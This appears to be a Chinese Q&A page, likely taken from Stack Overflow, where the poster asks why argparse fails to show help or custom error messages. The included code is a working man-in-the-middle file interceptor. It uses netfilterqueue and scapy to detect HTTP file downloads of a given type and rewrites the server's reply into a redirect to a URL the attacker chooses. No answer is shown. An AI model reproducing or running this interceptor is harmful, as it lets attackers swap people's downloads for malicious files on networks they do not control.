python - 无法使用 Argparse
问题描述
下面提供的代码接受参数,但在指定时不打印帮助菜单-h
。缺少任何参数时,错误方法不会打印指定的消息。我错过了什么吗?
我希望代码在没有给出参数或缺少参数时打印自定义消息。
import netfilterqueue
import scapy.all as scapy
from termcolor import colored
import argparse
seq_list = []
def get_argurments():
parse = argparse.ArgumentParser()
parse.add_argument("-f", "--filetype", dest="filetype", help="Press -h for Help.")
parse.add_argument("-u", "--url", dest="url", help="Press -h for Help." )
args = parse.parse_args()
return args
def process_queue():
queue = netfilterqueue.NetfilterQueue() # Creating an Instance of NetFilterQueue.
queue.bind(0, process_packets) # Binding the instance to the '0' Queue-num in Iptables rule.
queue.run()
def set_packet_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packets(packet):
args = get_argurments()
scapy_packet = scapy.IP(packet.get_payload()) # To convert the Raw packets into scapy packets.
if scapy_packet.haslayer(scapy.Raw): # Checking for Raw Layer which contains the useful Data.
if scapy_packet.haslayer(scapy.TCP):
if scapy_packet[scapy.TCP].dport == 80:
if args.filetype in scapy_packet[scapy.Raw].load:
print(colored("[+] File Request", "yellow"))
load = scapy_packet[scapy.Raw].load
print(colored("[+] Request >> ", "green") + load)
seq_list.append(scapy_packet[scapy.TCP].ack)
elif scapy_packet[scapy.TCP].sport == 80:
if scapy_packet[scapy.TCP].seq in seq_list:
seq_list.remove(scapy_packet[scapy.TCP].seq)
print(colored("[+] Replacing File", "green"))
modified_packet = set_packet_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: "+ args.url + "\n\n")
modified_response = scapy_packet[scapy.Raw].load
print(colored("[+] Modified Response >> " + modified_response))
packet.set_payload(str(modified_packet))
packet.accept() # Forwarding the Packets.
def launch_attack():
print(colored("[+] File Interceptor running... Make sure you specified the FileType (-f) and Replacement File URL (-u) ", "green"))
try:
process_queue()
except KeyboardInterrupt:
print(colored("[-] Ctrl-C Detected... Quitting..", "yellow"))
launch_attack()
解决方案
推荐阅读
- r - 如何更改绘图中的文本颜色?
- javascript - Sequelize ORM,不显示 Model.update 的日志
- r - R:ggplot2 和 plotly 的“cex”选项
- python - 无法查看谷歌存储桶图片
- python - 将一个多维列表的值设置为另一个多维列表的值
- php - 尝试访问插件中布尔类型值的数组偏移量
- html - 在 Nginx 中构建多个项目的最佳实践?
- python - Django OperationalError 表没有名为 user_id 的列
- reactjs - 如何通过 HOC 传递父道具并正常使用它
- java - 如何在运行时扫描Java应用程序的所有类中的方法并根据给定的请求调用这些方法?